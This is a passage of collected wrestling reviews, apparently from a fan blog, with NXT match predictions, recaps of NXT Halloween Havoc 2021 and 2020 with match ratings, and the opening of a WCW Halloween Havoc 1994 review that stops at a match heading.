I’ll take Waller to win here, as there isn’t much of a need for him to lose. Crews is someone whose legacy is already established and he can take a loss here and there without having many consequences. On the other hand you have Waller, who seems like he could be ready to break through to the next level, if not the main roster. Waller goes over here, probably with a goofy enough stipulation.

Julius Creed vs. Damon Kemp

This is an ambulance match and somewhere along the line, NXT managed to turn this into a decent feud. The Diamond Mine is all but split and now we get to see what happens when Julius gets a big singles match, which happens to be for his brother Brutus’ career. At the same time, Roderick Strong is in a wheelchair and seems to have had a change of heart, which sounds like a red flag if I’ve ever seen one.

While Julius winning would be the logical way to go, this seems too primed for a surprise swerve from Strong, who will likely wipe out Brutus’ career by helping Kemp. Julius seems more ready to be the breakout singles star from the team, though it might be a bit early to pull that trigger. I’ll still go with Kemp winning via Strong shenanigans, as it seems like a prime way to end an ambulance match.

Cora Jade vs. Roxanne Perez

Here we have a Weapons Wild match, which is the 38^th different way to say “street fight”. These two have turned what was little more than another tag team split into a decently heated rivalry, with Jade doing better than I would have expected. That being said, Perez seems like she has star written all over her and could quickly become the next next big thing in NXT.

I’ll go with Perez here, as she has lost a few matches to bigger names and could use the win in the match that matters the most for her. It is clear that WWE sees something in her and it would be ridiculous to have her lose again. I know Jade is on her way up as well, but there is something in Perez that you do not see very often and she needs the win here more than Jade right now.

North American Title: Wes Lee vs. Oro Mensah vs. Carmelo Hayes vs. Nathan Frazer vs. Von Wagner

For the vacant title and oh goody it’s a ladder match. At least there are only five people involved this time so things might be a little less insane than usual. There is no way to guess what is coming in a match like this as the whole thing is designed to be little more than chaos with one person doing a dive and then another doing a bigger one. That doesn’t give me much to work with, but it could still be fun.

Since putting the title back on Hayes would be a waste of time and I can’t imagine Wagner or Mensah getting it, I’ll take Lee to win here in a bit of a surprise. Frazer would make more sense, but ladder matches can be a way for title wins that don’t make a lot of sense otherwise. It’s certainly not my favorite kind of match but at least the dives should be good and Hayes is always worth a look.

Women’s Title: Mandy Rose(c) vs. Alba Fyre

I know I’ve been saying Rose has to lose the title at some point….but Rose has to lose the title at some point right? She has been champion for about a year now and is rapidly approaching Shayna Baszler for second all time. I’ve liked a lot of what Rose has done as champion and she is better than she is often given credit for, but dang she has held that thing for a long time.

In a pick I expect to be wrong, I’ll take Fyre to win the title here, on the grounds of “well, someone has to beat her”. I can’t imagine waiting around for Nikkita Lyons to be ready for the belt and Rose is running out of steam as champion. She has improved by leaps and bounds, but after so long with the title, losing isn’t going to hut her. Fyre wins here and takes the title in a different direction, even if I’m almost sure I’m wrong.

NXT Title: Bron Breakker(c) vs. JD McDonagh vs. Ilja Dragunov

Is it just me or is this kind of a flat title match? While it has picked up some in the last week or two, with the big segment this week being an upgrade, the tease of a Money in the Bank cash-in doesn’t exactly instill me with confidence. It will be nice to have Dragunov around, but Breakker has already beaten McDonagh so there is only so much interest in him in the first place.

This really could go any way but it seems that they are teasing a McDonagh win enough that I’ll say he wins through some kind of shenanigans. Breakker really doesn’t need to be champion at the moment as he has held the thing for about six and a half months. Dragunov already had his title reign (which granted he never got to finish) and that leaves McDonagh with nothing major on his resume. I’ll take McDonagh, even if that leaves us with NXT Champion JD McDonagh and….egads. And no, no cash-in.

Overall Thoughts

This show isn’t exactly inspiring but there is enough good on there to make it work. One of the problems right now is that there isn’t a big story that makes NXT feel must see. There is interesting material, but nothing on there is something I’m overly interested in watching. That needs to change soon too, as the interest really needs to go up. We should be in for a hard worked show though and that is usually enough to carry NXT as far as it needs to go.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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NXT
Date: October 26, 2021
Location: Capitol Wrestling Center, Orlando, Florida
Commentators: Beth Phoenix, Wade Barrett, Vic Joseph

It’s another special show this time around with Halloween Havoc. Last year’s edition did rather well but now we need to see if they can do the same with the new cast. The main event is Tommaso Ciampa defending the NXT Title against Bron Breakker, plus a bunch of Spin The Wheel, Make The Deal matches. Let’s get to it.

Here are last week’s results if you need a recap.

Chuckie as in from the Child’s Play movies, welcome us to the show and runs down part of the card.

Women’s Tag Team Titles: Toxic Attraction vs. Persia Pirotta/Indi Hartwell vs. Io Shirai/Zoey Stark

Shirai/Stark are defending in a ladder match, with Chuckie giving us another intro. It’s a brawl to start with Toxic Attraction being sent outside. Some ladders are thrown inside and it’s Hartwell/Pirotta going up, only to have the champs break it up with some dropkicks. Jacy Jayne kicks the ladder and breaks one of the metal pieces in the middle. Since that doesn’t work, Jayne just shoves the ladder over, leaving Stark and Dolin to kick each other over. Hartwell and Stark slug it out on top of the ladder but Pirotta sets up the big ladder.

That sets up a bunch of crashes until Pirotta has to pull Shirai down. Shirai gets dropped onto the top turnbuckle and Dolin gets powerbombed hard onto a bridged ladder in the corner. Jayne tries to go up but Shirai pulls her down onto a ladder, setting up a Lionsault onto Jayne onto the ladder. Now it’s Hartwell planting Stark onto the ladder but Shirai knocks Hartwell off the ladder. Hartwell then knocks the ladder over, sending Shirai back of the head first onto the bridged ladder. With that terrifying crash out of the way, Dolin runs up and wins the titles at 12:23.

Rating: C+. That must be the best ladder match I’ve seen in at least 22 hours. It felt like they went to the ending really fast after Shirai’s landing and at least the right team won. I don’t think there was any real doubt in the idea that Toxic Attraction was going to win here and they didn’t bother going in another direction. This had some brutal crashes, but it’s only so exciting when the most recent WWE match before this was a ladder match as well. At the very least, it’s nice to have a non-thrown together team holding the titles.

Commentary is dressed as…..themselves. Wow that’s a missed opportunity.

We now join Carmelo Hayes and Trick Williams as they search through a haunted house for the North American Title, which the Way stole last week. They can’t believe they’re doing this, which I can certainly understand. We cut to Johnny Gargano and Dexter Lumis in the house, with Gargano saying he Home Aloned the heck out of this house. He even had help from the zombie referee from last year! Back to Williams and Hayes, with Hayes not interested in just getting a replica title. More on this later.

Video on Kay Lee Ray, who breaks a bunch of things.

Grayson Waller (who isn’t the host) is here as Dracula and promises the women will be in revealing outfits. Cue Joe Gacy to complain about things and now it’s time for him to deal with someone.

Joe Gacy vs. Malik Blade

Gacy jumps Blade to start as we cut to Harland walking around backstage in a Michael Meyers style. Another shot puts Blade down but here is Harland to grab Blade by the throat. That’s not a DQ, so Gacy hits the handspring lariat for the pin at 2:18.

Gacy talks to Harland post match.

We go to the NXT Halloween party, with Waller liking what he is seeing (the fact that a lot of the wrestlers aren’t in any kind of special costume tells you a lot about the current state of NXT). Cameron Grimes, dressed as an astronaut, hits on two women but calls them extraterrestrials instead of angels, much to their dismay. Waller gives him a pep talk.

Malcolm Bivens issues a Diamond Mine open challenge.

Odyssey Jones vs. Roderick Strong

Non-title in a rematch from a recent 205 Live. Strong kicks away at Jones, who throws him down with ease. A choke doesn’t get Strong very far so he goes with some kicks to the face instead. Jones fights back up but has to deal with the rest of the Diamond Mine, allowing Strong to hit some jumping knees. A bit one to the jaw makes Jones fall forward for the pin at 4:12 (the exact same finish as their 205 Live match).

Rating: C-. I think we can get closer to writing off Jones, as this wasn’t exactly his finest hour. It’s also not a good thing to see the same finish between the same people on two different WWE shows, even if 205 Live isn’t exactly important. The show is still broadcast by WWE, but they couldn’t even change the endings. WWE being lazy isn’t a surprise, but at least make it seem like you’re trying?

Imperium, with subtitles, promises to win the Tag Team Titles. How you have subtitles on a live interview is beyond me.

We go back to the Halloween party where no one recognized Von Wagner, Cameron Grimes promises to be in Duke Hudson’s poker room next week, and Robert Stone, as Elvis, gets put through a table by Xyon Quin. The latter makes everyone celebrate.

Women’s Title: Mandy Rose vs. Raquel Gonzalez

Gonzalez is defending and comes to the ring on a motorcycle. This is Spin The Wheel Make The Deal, so Chuckie gets to spin. That would be Chuckie’s Choice, so let’s have a Trick or Street Fight. Rose starts fast with the kendo stick but gets knocked outside where Gonzalez, in lime green for quite the visual, misses a boot against the post. Some kendo stick shots rock Gonzalez again and we take a break.

Back with the fight still on at ringside, where Rose puts Gonzalez in an announcers’ chair and locks her in place with a kendo stick. Rose shoves the chair over unloads with the kendo stick again. Gonzalez, now in a hockey mask for no apparent reason, is back up with a fire extinguisher to blind Rose. A gorilla press….doesn’t quite get Rose over the middle rope so Rose gets rolled under the bottom rope instead.

Back in and Rose gets dropped face first onto some chairs in the corner so it’s time for the steps. Rose kicks those into Gonzalez’s face for another near fall but Rose can’t get her up in a double underhook. Gonzalez is back up with a spear through the table in the corner for a very near fall. Cue a woman in a Grim Reaper costume to hit Gonzalez in the back with a shovel, allowing Rose to knee her in the face the pin and the title at 11:08.

Rating: C. It was all smoke and mirrors, but that’s exactly what they needed here. Rose is not exactly a polished worker but doing all of the weapons stuff hides so much of that. This was by no means a great match and the ending was designed to protect Gonzalez. That might be a bit annoying, but it’s all about Toxic Attraction in NXT now and this was as good of a way to get there as they had.

Post match Toxic Attraction poses with their titles and the Grim Reaper is….Dakota Kai. Makes sense.

Trick Williams and Carmelo Hayes are still scared in the haunted house. Post break, they run into an old woman and a guy with his face painted and keep moving. Andre Chase pops up and the three of them see Lumis in a mirror. They turn around and Lumis isn’t there, but then he appears so running ensues. Williams and Hayes find the title, but Williams says it’s never this easy in the movies. Hayes grabs the title and everyone shows up, with Gargano saying Lumis’ house is weird. Next week, they’ll do it at Gargano’s place. Everyone gives a collective thumbs up to seemingly finish things up.

Grayson Waller is in the ring to talk about exclusive content on social media when LA Knight arrives (in the same costume). Knight had car trouble, but wants to know how Waller knew about it (that’s a classic angle from back in the day). Not that it matters as the debuting Solo Sikoa, a martial artist, clears the ring.

Bron Breakker is warming up with Chuckie watching from a locker.

Tag Team Titles: MSK vs. Imperium

Imperium is challenging and we Spin The Wheel to Make The Deal of….Lumberjack O’Lantern (as chosen by a fan’s spin). The lumberjacks come out, in costumes, with Vic Joseph calling Wade Barrett “Stu” by mistake. Aichner throws Carter around to start so it’s off to Barthel to kick Lee in the face. Imperium gets sent outside where the lumberjacks jump them, meaning it’s a double dive from MSK.

We take a break and come back with Aichner being knocked outside again, setting up a moonsault for two on Barthel. Aichner picks up both champs at once to plant them down and take over, but the Imperial Bomb is broken up. Lee hits a big dive to take out Barthel and a bunch of lumberjacks, leaving Carter to cutter Barthel off the top and out to the floor as well.

That’s enough for the referees, who eject the lumberjacks, which makes this a rather unique lumberjack match. Another Imperial Bomb is broken up and Carter hits a middle rope Canadian Destroyer to knocks Barthel silly. The push moonsault gets two and it’s a brainbuster to drop Lee. The Imperial Bomb gives Imperium the titles back at 13:12.

Rating: C+. It was a good run for MSK, though you can’t keep the titles on them when the fans are booing the heck out of them every single week. It was better once they got rid of the lumberjacks as things settled down a lot, but Imperium getting the titles back isn’t exactly inspiring. They do their thing really well, but when your gimmick is that you are ultra serious, it is a little hard to get excited.

Chuckie introduces us to a video on Tommaso Ciampa vs. Bron Breakker. Ciampa won the title back to start the new NXT and now Breakker is accepting the challenge for the title shot. This is all about power and force vs. experience, which makes for an interesting showdown. Chuckie taking shots at Breakker’s dad is a great Easter egg for older fans.

NXT Title: Tommaso Ciampa vs. Bron Breakker

Ciampa is defending in a God Of War costume. A big shoulder puts Ciampa on the floor to start so he comes back in for a headlock. That’s fine with Breakker, who suplexes his way to freedom in a hurry. Ciampa goes to the ribs to slow Breakker down though and we hit the bodyscissors.

We take a break and come back with Ciampa hitting a middle rope ax handle to the back for two. The waistlock stays on the ribs but Breakker fights up and hits some forearms to the face as the LET’S GO CIAMPA/DOG BARKS dueling chants are on. A running shoulder puts Ciampa on the floor again but he grabs Willow’s Bell for two more. Breakker snaps off a Frankensteiner into a butterfly powerbomb for two of his own.

They slug it out with Ciampa getting the better of things. The fight heads outside, where the floor bad has been pulled back. A DDT onto the exposed concrete knocks Breakker silly (while possibly busting him open). and the Fairy Tale Ending gets two. Ciampa knees him in the face a few times and hits another Fairy Tale Ending to retain at 13:50.

Rating: B-. They had a good match, but it’s going to take some time to process Breakker losing that close to clean. I do get the idea that he isn’t ready yet (and he probably isn’t), but dang it was a little jarring to see him get pinned. Ciampa going on as champion is not a bad thing and I can imagine USA wanting to keep the title on a star rather than a project. It’s just kind of surprising to see Breakker lose so soon, even if it probably is the right call.

Overall Rating: C+. This show started off rough but did settle down and got a good bit better by the end. Halloween Havoc is a tricky show to pull off and they did it well enough here, though there were some things that needed to be tweaked. They leaned pretty heavily into the goofy at times, though Chuckie being around all night was a nice touch. The title changes more than made it feel big, though your mileage on Toxic Attraction may vary. Still though, it certainly felt like an important show and that’s what they were going for. Maybe a bit too over the top at times, but it worked more than it didn’t.

Results
Toxic Attraction b. Io Shirai/Zoey Stark and Persia Pirotta/Indi Hartwell – Dolin pulled down the titles
Joe Gacy b. Malik Blade – Handspring lariat
Roderick Strong b. Odyssey Jones – Jumping knee to the face
Mandy Rose b. Raquel Gonzalez – Running knee to the face
Imperium b. MSK – Imperial Bomb to Lee
Tommaso Ciampa b. Bron Breakker – Fairy Tale Ending

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

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IMG Credit: WWE

NXT
Date: October 28, 2020
Location: Capitol Wrestling Center, Orlando, Florida
Commentators: Vic Joseph, Wade Barrett, Beth Phoenix

It’s time to rekindle an awesome tradition (assuming that still counts twenty years later) with Halloween Havoc. For the life of me I don’t know why it took WWE this long to bring the idea back but here we are, with a pair of Spin The Wheel Make The Deal matches for a title each. Let’s get to it.

The opening video looks at tonight’s card, while also showing the awesome WCW Halloween Havoc pumpkin set. Cool intro at least.

There’s also a themed set, with a big (inflated and smiling) pumpkin and various leaves and branches everywhere. It looks rather good actually.

Here’s Shotzi Blackheart, with…..something shooting pyro and howling a lot to….well just kind of exist.

North American Title: Damian Priest vs. Johnny Gargano

Priest is defending and gets a live musical entrance. This is the first Spin The Wheel, Make The Deal match and for some reason, Gargano HATES wheels. He also hates pumpkins, as he stabs the inflatable pumpkin on the way to the ring. With that evil out of the way, Shotzi spins the wheel (which thankfully isn’t digital like it was a few weeks ago) for a…..Devil’s Playground match.

We don’t actually get any rules for the match but Priest starts hammering away in the corner. A toss around the ring has Gargano in more trouble and it’s a Stinger Splash into a spinwheel kick for two. Gargano gets to the apron and tries the slingshot spear but Priest catches him in a front facelock. Instead, Gargano hammers away at the ribs as the announcers seem to say this is hardcore. Gargano whips out a kendo stick and we take a break.

Back with Gargano sticking away at Priest, who pulls out a nightstick to block a kick to the head. South of Heaven gets two and Priest sends him outside for a suicide dive. The chokeslam onto the barricade is countered and Gargano hits a Sliced Bread onto the steps. That’s good for two and Priest is right back up with a Broken Arrow onto the announcers’ table (showing that Vic is dressed as Where’s Waldo).

They fight over to part of the set, with Gargano knocking a skeleton into a standing coffin. That earns him a bunch of strikes from Priest but Gargano whips out a fire extinguisher to blast Priest again. Gargano pours trashcan onto Priest, which just does not seem like a good idea.

We take another break and come back with the fight up by the Wheel but Priest can’t powerbomb him to the wheel. Instead Gargano is back up with a superkick but Priest hits a spinning kick of his own. Priest is back up…and here’s a guy in a Ghostface killer mask (from Scream) to deck Priest, allowing Gargano to hit a tornado DDT off the wheel. Ghostface hands a smiling Gargano a tombstone to knock Priest off the platform and Gargano gets the title back at 20:55.

Rating: B-. I’m not sure what to say about this one as the Ghostface deal was a little bit weird. The rest of the match was a good enough hardcore brawl with both guys using various things fairly well. The set is a nice touch and makes things look that much better, though they only used it in the second half of the match. Gargano almost had to win here, though I’m curious to see who is under that mask for Priest to face next.

Gargano poses near the Wheel as Ghostface is gone.

We go to the commentators, with Joseph as Waldo and Barrett as his favorite wrestler: BAD NEWS BARRETT, complete with gavel.

We look back at the end of last week’s show with Oney Lorcan and Danny Burch winning the Tag Team Titles, thanks to help from Pat McAfee.

Cameron Grimes is panicking about his match with Dexter Lumis but here’s William Regal to say there’s a van waiting to pick Grimes up. Grimes would rather go to the ring but Regal says it’s time to go to the parking lot. Grimes: “That’s the most dangerous place! That’s more dangerous than the Bah Mitzvah Triangle!” Regal: “After you.”

Here are McAfee, Lorcan and Burch for a chat. McAfee talks about how they don’t get along on much but they all know that some fans of the Internet Wrestling Community (many of which are here tonight) are stupid. After McAfee had his first match and stole the show, Adam Cole didn’t congratulate him but rather posed over him. McAfee made some mistakes that night and when he was on his way back to Indianapolis, all he could think about was Cole. He was too busy to come back and deal with Cole himself though, so it was time to make some phone calls.

First up was Ridge Holland, who just wanted a Mercedes to do what McAfee wanted. Then after Holland attacked Cole at Takeover, Holland broke his leg in 700 pieces. With that out of the way, it was time to call Lorcan and Burch, but they couldn’t be bought. They lost to the Undisputed Era and then it was time to talk about making a deal.

Cue Kyle O’Reilly….and here’s Pete Dunne after him, carrying a pair of chairs. Dunne hands O’Reilly one of the chairs….and then blasts him with the other, because Dunne is with McAfee and company. The beatdown is on, with Dunne using the chair to snap O’Reilly’s arm, followed by the elevated DDT onto the chair (or close to it at least) from the champs. This could make for a rather entertaining WarGames. Also, well done on tying in the Holland deal and explaining it while Holland is gone. What mattered here though was McAfee, who was fantastic and is already one of the best celebrity heels ever.

Grimes is still trying to talk his way out of the match with Lumis but Regal lets him go outside on his own. After going outside, it’s off to a rather creepy van, with an even creepier person in the passenger’s seat. The back door opens though and it’s MICHAEL HAYES, with BADSTREET playing, saying it’s time to go. They get in the van and drive off, which is never a good sign.

Santos Escobar vs. Jake Atlas

Non-title and the rest of Legado del Fantasma are here too. Escobar (with half of his face painted and some Rey Mysterio Halloween Havoc 1997 tribute tights) starts fast by whipping Atlas into the corner but Atlas gets in a shot. Some trash talk from Escobar earns himself a shot to the face and right hands in the corner. There’s a backdrop and a discus forearm gets two on Escobar. The Cartwheel DDT connects but Legado puts Escobar’s foot on the rope. Atlas dives onto both of them but Escobar gets in a headbutt. The double underhook facebuster finishes Atlas at 3:29.

Rating: C-. It was fun while it lasted but it didn’t last long. I do like the idea of having Atlas take it to Escobar while he could before ultimately falling to the numbers. What we got here did work well enough though and I could go for more of Atlas. He has come a long way in a short amount of time and it wouldn’t shock me if he got a title shot sooner or later.

Ember Moon doesn’t like Dakota Kai getting involved in her match. Kai has grown up a lot while Moon was gone but the kicks won’t be enough.

Shotzi tells us to stick around and howls some more.

Back with Shotzi sending us to the Haunted House Of Terror.

Dexter Lumis vs. Cameron Grimes

Cinematic time with Grimes looking rather nervous to go near a house. He says that he’s coming for Lumis and is NOT scared. Grimes keeps watching and Lumis is shown watching from a tree. It’s time to go inside where Grimes finds….a mounted deer and a tricycle riding itself. Grimes: “YOU GOT KIDS???” Now it’s a scary referee terrifying Grimes but here’s Lumis to grab him by the throat for some choking. A window is broken as Grimes gets away to hide in a bathroom. There’s a woman in the shower, which certainly gets Grimes’ attention (Grimes: “I didn’t realize that Lumis had a sister.”)

Grimes goes to join her and it’s a demon woman who might be from the Ring. Grimes staggers out and Lumis reaches through a window with the Silencer. That’s broken up as well so Grimes grabs a stick of some kind but the demon woman scares him. Another woman jumps onto his back so Grimes runs outside and throws her off a bridge. The referee, a woman and someone else show up to chase him off to the van….with Lumis driving him away. To be continued.

Rhea Ripley vs. Raquel Gonzalez

They are ready to tear into each other before the bell and the slugout is on with Rhea throwing hands in a hurry. Gonzalez takes her into the corner but Rhea blocks a right hand and hits a headbutt. They go nose to nose to shout at each other and then shove each other a bit. The slap off sets up another slugout until Rhea slips out of a suplex. Neither can get a fireman’s carry so Rhea goes with a running dropkick to the floor. A dropkick through the ropes puts Gonzalez down again, but she catches a dive and hits a powerbomb against the barricade.

Back from a break with Gonzalez working on something like a Gory Stretch until Rhea counters into a sunset flip. A clothesline gives Gonzalez two but Rhea is back up with some knees to the face. Rhea scores with a basement dropkick to the back of the head for two and stomps her down to set up the Prism Trap. That’s broken up though and Gonzalez grabs a spinning powerslam for two.

Gonzalez takes it up top but has to knee her way out of the super Riptide. They slap it out again until Gonzalez hits a running choke throw off the top for two more (with Rhea’s face looking completely stunned on the landing). The powerbomb is countered into a headscissors into the middle buckle though and now it’s Riptide for the pin at 12:52.

Rating: B. It wasn’t their cage match but again it felt like a fight and that’s what they were going for here. These two beat the heck out of each other and it’s nice to see someone who isn’t physically dominated by Ripley for a change. I’m not sure what is left for Ripley but other than the title, what else could she really want in NXT?

Cameron Grimes is running back to the arena. How did he know the way back?

Drake Maverick is Hollywood Hogan, complete with 2.4 inch pythons. He and Killian Dain have tag team gold on their mind, though he thinks that McKenzie Mitchell is Mean Gene. Maverick: “Come on McKenzie. It’s Halloween.” The Giant and the Yeti show up to repeat the big double hug (albeit from the wrong sides) but Dain as the Shockmaster (egads) walks in for the save. Drake isn’t happy with some of Dain’s issues with the team and puts on the helmet, only to fall over. Dain: “He fell on his a***!” Ok that was good.

Grimes is back at the arena, suggesting that they could have gotten to the house with a brisk walk rather than using the van.

After a quick chat with the announcers, Grimes is back in the arena and in the graveyard, where the demon woman is back as well. The other demon woman joins her and Grimes shouts that they better stop because he’s Cameron Grimes. Lumis pops up behind him in the ring and Lumis throws him into the corner. A spinebuster plants Grimes as commentary wants to know where the smoke is coming from. The demons get in the ring and grab Lumis’ legs but more of them are coming in as well. Grimes hits a Cave In on one of the demons but Lumis throws another one at him. The Silencer finishes Grimes at 36:55.

Rating: D. The house stuff was good but it was dragged down by the fact that it was Dexter Lumis. I know I say this every week but egads he’s one of the least interesting people I’ve seen NXT push since Kona Reeves. Grimes was the star of this though as he has more charisma and energy than he knows what to do with and thankfully NXT is featuring him a lot more. If nothing else just have him do the Cave In a lot because that’s awesome.

Video on Candice LeRae vs. Io Shirai and all of the matches they could have.

Tommaso Ciampa does not recognize this NXT because it has been out with the old and in with the new. This isn’t Monopoly and we aren’t taking turns. If you’re hungry, come to the top. Everyone wants to blame someone else for what they don’t have and it’s all the same message. It’s the brass ring and the glass ceiling and Ciampa has heard it all before. He was never handed anything and this all begins with Velveteen Dream. The 25 year old prodigy is oozing the it factor. If you hit Ciampa with a cast once, shame on him, but if you hit Ciampa with a cast twice, you’re a dead man. Ciampa’s star power is awesome.

Women’s Title: Candice LeRae vs. Io Shirai

Shirai is defending and Poppy plays her to the ring. Shotzi spins the wheel and it’s…Tables, Ladders and Scares. Shirai starts fast and hits a suicide dive to the floor as the title is raised up. Candice comes back with a table….and finds a bunch of severed body parts. Shirai hits her with a bloody arm but gets sent into a ladder (with orange rungs of course). They fight over to the announcers’ table with Candice hitting her in the face (or arm as the replay shows) with a laptop.

Candice bridges a ladder between the ring and the announcers’ table but Shirai throws a chair into the general area of her head. Some running knees against the steps have Candice in more trouble so Shirai grabs more chairs. A chair shot takes LeRae down and we take a break. Back with two tables (with chalk outlines) having been set up (over the severed body parts) and both women throwing in a ladder. Shirai gets knocked down and Candice’s ladder is set up in the corner but Shirai grabs a butterfly backbreaker.

Candice rolls away from the moonsault though and Shirai crashes onto the chairs. A chair is set up and Candice asks if she remembers this, but Shirai suplexes her onto the open chair. Shirai is back up with the running knees in the corner but they only hit ladder, which then falls onto her for a negative bonus. Candice gets caught on top though and Shirai loads up a pair of chairs. The big crash is broken up but Shirai wraps a chair around Candice’s leg and twists it around in a creative spot.

The 619 misses though and Candice hits her in the back with a chair. Mrs. LeRae’s Wild Ride through the tables leaves them both laying….and here’s the Ghostface again. Whoever is it (is looks to be a woman) helps Candice to the top of the ladder but Shotzi runs in to give Ghostface an electric chair off the ladder and onto the chairs. Shirai grabs her own ladder and goes up as well but Candice shoves her down. The ladder is turned over to send Candice through the bridged ladder at ringside and Shirai retains at 16:29.

Rating: B. Your tastes may vary here but they beat the absolute fire out of each other for a long time here. I was actually surprised when Shirai retained but it was a great way to get there. Shirai winning here makes her seem like a bigger star as champion and that’s a lot better than having her be the person who gives the title to Candice so Rhea can chase it. This was one of the most violent women’s matches I’ve seen in a very long time and it was a rather good one at that.

Post match Shirai poses and here’s Gargano to check on Candice.

Overall Rating: A-. Now that felt like a special show and the atmosphere did all kinds of great things. They had the cool set, the creepy (at times) atmosphere and two bookend matches to make it that much better. Throw in the Ghostface deal (which is likely Indi Hartwell) and you had a heck of a night. If you get rid of the Dexter Lumis push, this is one of the best shows in a very long time but otherwise, it’s just a long time. Check out that main event, but McAfee’s promo should come first. This was the NXT that I’ve liked for a long time and hopefully it leads to more, as it hasn’t been this sharp for a good while.

Results

Johnny Gargano b. Damian Priest – Tombstone to the head

Santos Escobar b. Jake Atlas – Double underhook facebuster

Rhea Ripley b. Raquel Gonzalez – Riptide

Dexter Lumis b. Cameron Grimes – Silencer

Io Shirai b. Candice LeRae – Shirai pulled down the title

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Halloween Havoc 1994
Date: October 23, 1994
Location: Joe Louis Arena, Detroit, Michigan
Attendance: 14,000
Commentators: Tony Schiavone, Bobby Heenan

Someone requested this show and I haven’t watched any WCW in a VERY long time now. It’s as good of a time as any as I could go for a little pallet cleanser. Hulk Hogan has shown up and that means it’s time to put everything around him. You have to get rid of some big names at the same time, so the big main event is Hogan vs. Ric Flair in a cage, title/career vs. career. Hint hint. Let’s get to it.

The opening video is a weird music video deal about Hogan vs. Flair. Just imagine what WCW would come up with in this situation and you know what you’re in for.

I do miss that Halloween Havoc logo with the two sides coming together and the light shining.

The announcers welcome us to the show and Heenan, in a neck brace, talks about great things that have come out Detroit, mainly focusing on wrestling. All of that is going to pale in comparison to the END OF HULKAMANIA right here tonight.

T. Graham Brown, the latest country singer that WCW thought people would care about, sings the National Anthem.

TV Title: Johnny B. Badd vs. Honky Tonk Man

Badd is defending and WOW I always forget that Honky Tonk was in WCW because it’s just so random and terrible. Like, this was low even for WCW. Hold on though as Badd has to launch the Badd Blasters (confetti guns) before we can get going. Honky Tonk hides in the corner to start before Badd wristlocks him down and drops a leg on the arm for a bonus. The always funny atomic drop lets Badd mess with Honky Tonk’s hair and it’s time for a breather on the floor.

We’ll use said breather to look at Sting on the WCW Hotline (if you’re a real fan, you know the number and charges by heart). Not hear him mind you, but watching him talk. Back in and Honky Tonk sends him into the buckle, followed by an elbow to the face to put Badd down. We’re in the chinlock less than three and a half minutes in, which is a really bad sign in the first match of a pay per view.

Honky Tonk chokes on the ropes and we FINALLY acknowledge one Muhammad Ali in the front row. But we have time for T. Graham Brown??? Badd gets two off a sunset flip and we hit the chinlock at five minutes of the ten minute time limit. The comeback doesn’t take long as Badd hits a pair of slams but misses an elbow, allowing us to hit the chinlock again. Badd is up again with more rights and lefts, only to get sent into the ropes with three minutes left.

Never being that smart, Honky Tonk throws him outside and drops an ax handle as time keeps going by. Back in and we hit ANOTHER chinlock as Heenan is nearly screaming at Honky Tonk to GET GOING ALREADY. Badd makes another comeback and sends him into the buckle with less than a minute to go. The Kiss That Don’t Miss misses and Honky Tonk hits a belly to back suplex (Heenan: “COVER HIM!!!!”) gets no cover. They roll around on the mat until time expires at 10:02.

Rating: F. Are you kidding me? They had a ten minute match and needed THREE CHINLOCKS to get through the thing? I know Honky Tonk Man was an awesome heel at one point but come on already. Badd’s finisher is a punch and you can’t work an armbar? This felt so far out of place and comes off like one of Hogan’s buddies getting a job and absolutely nothing more. Terrible match and now I’m supposed to want to see them fight again in a rematch? Is there any wonder why it was so easy to fire Honky Tonk Man?

Badd beats him up post match.

Video on Hogan vs. Flair, including the masked man who attacked Hogan in a recreation of the Tonya Harding incident. That was supposed to be Mr. Perfect but contractual issues kept it from happening. Also, Mr. T., the guest referee in tonight’s main event, may be in cahoots with Ric Flair.

Heenan isn’t worried because Flair can just go for the knee and he’s guaranteed to win.

Tag Team Titles: Pretty Wonderful vs. Stars And Stripes

Pretty Wonderful (Paul Orndorff/Paul Roma) are challenging against Marcus Bagwell/The Patriot. Orndorff and Patriot start things off with a lockup that goes nowhere. Heenan thinks Patriot is Al Gore as everything breaks down early on. Bagwell is left alone in the ring as Heenan thinks we have a long way to go yet. Back in and Orndorff gets caught between both champs so it’s Roma coming in and getting his arm cranked.

Roma slams Bagwell down, runs up the corner and turns around for a top rope forearm to the chest (cool). Heenan: “What a great cat burglar he’d be.” Bagwell is back up and grabs an armbar, setting up a top rope sunset flip for two. Orndorff comes in and gets taken down as well as the champs are way too fast for them to start. A few slams put Orndorff down again and a clothesline puts him outside.

Orndorff finally gets Bagwell down with a headlock and it’s Roma dropping an elbow to really put him in trouble. A little too much taunting lets Bagwell knock Roma into the corner though and it’s Patriot coming back in to work on Roma’s arm. Bagwell cranks on the arm as well but gets driven into the corner so Orndorff can get in a cheap shot from the apron. Roma’s top rope elbow to the ribs keeps Bagwell in trouble as the assortment of forearms and punches continues.

The announcers ignore the match to talk about sights of Detroit and Hogan vs. Flair because Roma slowly beating up Bagwell isn’t all that interesting. Roma goes WAY too high on a dropkick and misses Bagwell, who gets in a headscissors but Orndorff cuts him off again. At least they can do the formula stuff well enough, even if the execution isn’t the best.

Rating: D+. This was pretty dull at times but it was miles ahead of the opener. Patriot was one of about a million partners Bagwell had (Like last year, when he and 2 Cold Scorpio lost the titles to the Nasty Boys at Halloween Havoc 1993 in the exact same finish. WCW was not good with fresh ideas.) and it’s not like the team was all that big of a deal. Orndorff was another of Hogan’s friends but at least he was a bigger star, better in the ring and had been pushed before Hogan showed up. Not a very good match but I can go for the formula stuff most of the time.

Ric Flair, during his fairly forgettable time with Sister Sherri, promises to take care of Hogan tonight when everything is on the line. It’s to prove the greatest of all time and the price is right. What a random catchphrase but Sherri was always a bit out there. Flair: “Sayonara!”

Heenan swears Hogan is gone after tonight.

We recap Dave Sullivan vs. Kevin Sullivan. They’re brothers and Dave is kind of stupid so Kevin yells at him for wanting to be like Hulk Hogan. Dave finally stood up to him so Kevin beat him down, setting up the match. There’s just one problem: Dave is on a short list for worst wrestler of all time.

Dave Sullivan vs. Kevin Sullivan

